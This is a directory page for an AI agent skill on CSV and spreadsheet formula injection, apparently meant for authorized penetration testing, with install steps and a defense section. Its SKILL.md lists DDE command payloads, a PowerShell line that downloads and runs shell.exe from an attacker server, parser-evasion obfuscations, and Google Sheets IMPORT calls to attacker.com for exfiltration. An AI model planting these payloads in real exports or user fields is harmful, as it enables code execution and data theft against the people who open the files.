csv-formula-injection
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill csv-formula-injection- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads csv-formula-injection automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@
Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
Data exfiltration / probe (replace URL with your authorized callback):
=IMPORTXML("http://attacker.com/", "//a/@href")
Other high-risk imports:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
Document which function executed and what network side effects occurred.
4. TESTING METHODOLOGY
- Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
- Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
- Inject formula prefixes — Start with benign arithmetic (
=1+1,+1+1) to detect evaluation; escalate only per rules. - Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
- Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
Note: focus on the user input -> export -> opened in spreadsheet software chain.
5. DEFENSE
Application and export-layer mitigations:
- Prefix with single quote — In many spreadsheet apps, leading
'forces text interpretation:'=cmd|...displays literally. - Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
- Strip or neutralize leading triggers — Remove or escape leading
=,+,-,@(and Unicode lookalikes) at export time. - CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
- User education — Do not enable external data / DDE without policy.
Example safe export transformation (conceptual):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.
FAQ
What does the csv-formula-injection skill do?
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
How do I install csv-formula-injection?
Run npx skills add https://github.com/yaklang/hack-skills --skill csv-formula-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/csv-formula-injection/ (personal) or .claude/skills/csv-formula-injection/ (project).
Which AI agents can use csv-formula-injection?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is csv-formula-injection safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains csv-formula-injection?
It is published by yaklang in yaklang/hack-skills. It has 3,609 recorded installs.
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